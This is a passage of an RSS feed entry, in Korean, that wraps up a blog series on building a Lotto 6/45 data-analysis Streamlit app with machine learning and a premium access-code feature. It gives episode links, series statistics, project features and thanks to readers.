&lt;li&gt;&lt;b&gt;Episode 4&lt;/b&gt;: 기계가 배우는 운의 법칙 (The Machine's Fortune: Learning Rules) &lt;a href=&quot;https://thepin.tistory.com/191&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/191&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Episode 5&lt;/b&gt;: 일곱 가지 선택의 기로(Seven Choices, One Crossroad) &lt;a href=&quot;https://thepin.tistory.com/190&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/190&lt;/a&gt;&lt;s&gt;&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Episode 6&lt;/b&gt;: 브라우저에 피어난 분석 (Browser-Based Analysis) &lt;a href=&quot;https://thepin.tistory.com/189&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/189&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Episode 7&lt;/b&gt;: 8501 포트 너머로 (Beyond Port 8501) &lt;a href=&quot;https://thepin.tistory.com/188&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/188&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Episode 8&lt;/b&gt;: 복사하고, 붙여넣고, 3초 (Copy, Paste, 3 Seconds) &lt;a href=&quot;https://thepin.tistory.com/187&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/187&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Episode 9&lt;/b&gt;: 파일이 기억하는 순간들 (Moments Files Remember) &lt;a href=&quot;https://thepin.tistory.com/186&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/186&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Episode 10&lt;/b&gt;: 문을&amp;nbsp;여는&amp;nbsp;코드,&amp;nbsp;PREM--&amp;nbsp;(The&amp;nbsp;Code&amp;nbsp;That&amp;nbsp;Opens&amp;nbsp;Doors) &lt;a href=&quot;https://thepin.tistory.com/185&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/185&lt;/a&gt;&amp;nbsp;⭐ 현재 편&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  시리즈 통계&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;총 에피소드&lt;/b&gt;: 10편&lt;/li&gt;
&lt;li&gt;&lt;b&gt;총 이미지&lt;/b&gt;: 50개 (각 편 5개)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;총 분량&lt;/b&gt;: 약 35,000자&lt;/li&gt;
&lt;li&gt;&lt;b&gt;작업 기간&lt;/b&gt;: 2026-01-XX ~ 2026-01-11&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용 토큰&lt;/b&gt;: 약 150,000+ tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  완성된 프로젝트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;로또 645 데이터 분석 프로젝트 (v6.0)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;605회차 전체 데이터 분석&lt;/li&gt;
&lt;li&gt;머신러닝 예측 모델&lt;/li&gt;
&lt;li&gt;7가지 추천 전략&lt;/li&gt;
&lt;li&gt;Streamlit 웹 앱&lt;/li&gt;
&lt;li&gt;Streamlit Cloud 배포&lt;/li&gt;
&lt;li&gt;텍스트 파싱 자동 업데이트&lt;/li&gt;
&lt;li&gt;mtime 기반 동적 캐싱&lt;/li&gt;
&lt;li&gt;프리미엄 인증 시스템&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;MyJYP/lotter645_1227&lt;/a&gt;&lt;br /&gt;&lt;b&gt;Live Demo&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;lo645251227.streamlit.app&lt;/a&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  감사의 말&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 시리즈를 따라오신 모든 분들께 감사드립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 줄의 &lt;code&gt;import pandas as pd&lt;/code&gt;부터 마지막 &lt;code&gt;PREM-****-****&lt;/code&gt;까지,&lt;br /&gt;함께 걸어온 여정이었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로또 번호를 맞추는 것이 목표가 아니었습니다.&lt;br /&gt;데이터를 읽고, 패턴을 찾고, 코드를 쓰는 과정 자체가 목표였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;605회의 당첨번호가 우리에게 가르쳐준 것은&lt;br /&gt;&quot;확률의 독립성&quot;이 아니라&lt;br /&gt;&quot;데이터 분석의 즐거움&quot;이었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 프로젝트에서 또 만나요!  &lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시리즈 완결&lt;/b&gt;: 2026-01-11&lt;br /&gt;&lt;b&gt;최종 버전&lt;/b&gt;: v6.0.0&lt;br /&gt;&lt;b&gt;에피소드&lt;/b&gt;: 10/10 ✅&lt;/p&gt;</description>
      <category>VibeCoding/lo645251227</category>
      <category>PREM코드</category>
      <category>Streamlit Secrets</category>
      <category>보안설계</category>
      <category>세션상태</category>
      <category>액세스코드</category>
      <category>웹보안</category>
      <category>인증시스템</category>
      <category>접근제어</category>
      <category>프리미엄인증</category>
      <category>환경감지</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/185</guid>
      <comments>https://thepin.tistory.com/185#entry185comment</comments>
      <pubDate>Sun, 11 Jan 2026 11:23:22 +0900</pubDate>
    </item>
  </channel>
</rss>